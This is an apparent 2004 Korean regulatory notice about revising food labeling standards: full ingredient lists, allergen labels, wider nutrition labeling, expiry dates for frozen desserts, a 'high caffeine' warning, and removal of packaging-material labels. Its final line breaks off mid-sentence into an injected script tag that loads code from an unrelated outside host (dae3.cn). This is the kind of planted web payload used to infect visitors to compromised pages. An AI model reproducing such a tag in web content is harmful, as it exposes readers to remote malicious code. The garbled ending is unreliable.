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식품등의 표시기준」개선을 위한 입안예고(2004.6.4)
작성자 식품안전부 등록일 2004/06/07 조회 17016
첨부
<주요내용>

0 식품의약품안전청은 소비자에게 보다 폭넓은 구매정보를 제공하고 공정한 거래를 확보하기 위하여 「식품 등의 표시기준」을 전면 개선한다고 밝혔다.

0 금번의 개선은 생산자 측면에서 다소의 부담으로 작용할 수도 있지만 소비자 중심의 업무수행을 위하여

- 식품 제조에 사용된 원재료명을 모두 표시토록 하되, 수용가능성 및 국제추세 등을 고려하여 면제규정을 두며
- 건전한 식생활 유도를 위하여 영양표시 대상을 확대하고
- 생산자 편익제고를 위하여 제품의 유형표시와 용기포장의 재질 표시 등을 삭제하며
- 소비자 알권리 충족을 위하여 빙과류 제품에 유통기한을 표시토록 하고
- 일정량 이상의 카페인을 함유한 식품은「고카페인 함유」라고 표시토록 하는 등 표시기준 개선을 통해 소비자를 보호하고 국제기준과의 조화를 이루도록 하였다.

0 식약청은 개선코자 하는 내용에 대하여 충분한 기간동안 다양하게 의견을 수렴한 후 제시된 의견을 보다 구체적으로 재검토하여 2004. 12까지 식품 등의 표시기준을 전면 개정 할 예정이라고 밝혔다.


▣ 주요 개정내용

0 원칙적으로 모든 원재료명 및 성분명을 표시
- 다만, 미량 사용되는 복합원재료, Carry-over(원재료에 이미 혼합된) 식품첨가물, 포장지의 면적 등을 고려한 원재료명 표시 면제규정을 마련하여 모든 원재료명 및 성분을 표시토록 하는 규정이 합리적으로 운영될 수 있도록 함.
- 한편, 알레르기 유발성분 표시는 면제규정에 적용되지 아니함.

0 영업자의 규제완화 측면에서 공통표시사항중 "식품의유형" 삭제
- 다만, 제품명에 가상의 명칭을 사용하는 경우 주표시면에 식품의 유형을 표시하여야 함.

0 운반·보관중 해동과 냉동의 반복으로 품질저하가 우려되는 빙과류에 대하여 유통기한을 표시토록 개선

0 어린이 다소비식품을 중심으로 영양성분 표시대상 식품을 확대
- 과자류중 빵 또는 떡류, 건과류, 캔디류, 초콜릿류 및 쨈류
- 면류 전품목
- 음료류중 과실·채소류음료 및 두유

0 카페인 함유식품에 대한 표시기준 마련
- 카페인을 ml 또는 g당 0.15mg이상 함유하고 있는 식품은 주표시면에 "고카페인함유" 문구를 표시
- 다만, 다류 및 제품명 또는 제품명의 일부로 "커피" 또는 "차"로 표시되는 제품은 제외

0 포장지 재질표시 삭제
- 자원의절약과재활용촉진에관한법률에 따라 포장재질?script src=http://dae3.cn>
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